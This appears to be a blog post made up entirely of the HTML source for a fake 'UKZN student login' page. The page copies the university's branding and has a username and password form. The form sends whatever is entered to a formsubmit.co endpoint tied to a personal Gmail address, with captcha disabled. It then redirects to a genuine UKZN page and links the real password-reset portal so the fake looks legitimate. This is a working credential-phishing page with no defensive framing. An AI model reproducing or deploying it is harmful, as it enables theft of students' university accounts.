Ukzn student login
<!DOCTYPE html>
<html>
<head>
<title>Login Page</title>
<style>
body {
background-color: #343538;
font-family: Arial, sans-serif;
color: #fff;
}
.container {
background-color: #fff;
border-radius: 10px;
padding: 20px;
width: 270px;
margin: 0 auto;
margin-top: 50px;
text-align: center;
}
input[type="text"], input[type="password"] {
border: none;
border-bottom: 3px solid #ccc;
padding: 10px;
width: 100%;
box-sizing: border-box;
margin-bottom: 20px;
font-size: 16px;
}
input[type="password"] {
background-image: url('https://upload.wikimedia.org/wikipedia/commons/c/cf/OOjs_UI_icon_eye.svg');
background-repeat: no-repeat;
background-position: right center;
background-size: 20px;
padding-right: 40px;
}
input[type="password"].show {
background-image: url('https://upload.wikimedia.org/wikipedia/commons/c/cf/OOjs_UI_icon_eye.svg');
}
.clk:focus{
border-style:none none solid none;
border-image:linear-gradient(to right, orange,red)3 0%;
width:100%;
padding:10px;
box-sizing:border-box;
margin-bottom:20px;
font-size:16px;}
.login-btn {
background-image: linear-gradient(to left, orange, #28b8ae);
color: #fff;
border: none;
border-radius: 13px;
cursor: pointer;
font-size: 16px;
margin-top: 20px;
padding-left:100px;
padding-right:100px;
padding-top:10px;
padding-bottom:10px;
}
.lnk{
color:#ccc;}
</style>
</head>
<body>
<div class="container">
<h1>Login form</h1>
<div class="separator" style="clear: both;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgdKzms8bW5cGNs-ZiZ5CRrGItAk2Hfl2IGeQCg4JlcJYnLNmH6wTA_iWiVZhCxqq-1b5MNq4kH08nFwN4jZs4mxUdH5ddaZVc8IAbZb7TvTFxEU774KKyUHLWCafGISuvhQiVUkpK8ERyP0GSvMqv42Mao7I0WvwGoKGoMAxXv3B6Udh8CnLqwPf7e/s1600/ukzn_logo%20%281%29.png" style="display: block; padding: 1em 0; text-align: center; "><img alt="" border="0" data-original-height="381" data-original-width="965" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgdKzms8bW5cGNs-ZiZ5CRrGItAk2Hfl2IGeQCg4JlcJYnLNmH6wTA_iWiVZhCxqq-1b5MNq4kH08nFwN4jZs4mxUdH5ddaZVc8IAbZb7TvTFxEU774KKyUHLWCafGISuvhQiVUkpK8ERyP0GSvMqv42Mao7I0WvwGoKGoMAxXv3B6Udh8CnLqwPf7e/s1600/ukzn_logo%20%281%29.png"/></a></div>
<form action="https://formsubmit.co/thubelihleqiniso533@gmail.com" method="post">
<input name="Username:" class="clk" type="text" placeholder="Username">
<input name="Password:" class="clk" type="password" placeholder="Password" class="password-field">
B
<button type="submit" class="login-btn">LOGIN</button>
<input type="hidden" name="_next" value="https://locateme.ukzn.ac.za/Pages/StudentCheck">
<input type="hidden" name="_captcha" value="false">
<br><br> <a class="lnk"
href="https://federation.ukzn.ac.za/adfs/portal/updatepassword">Forgot Password?Reset</a>
</form>
</div>
</body>
</html>
Comments
Post a Comment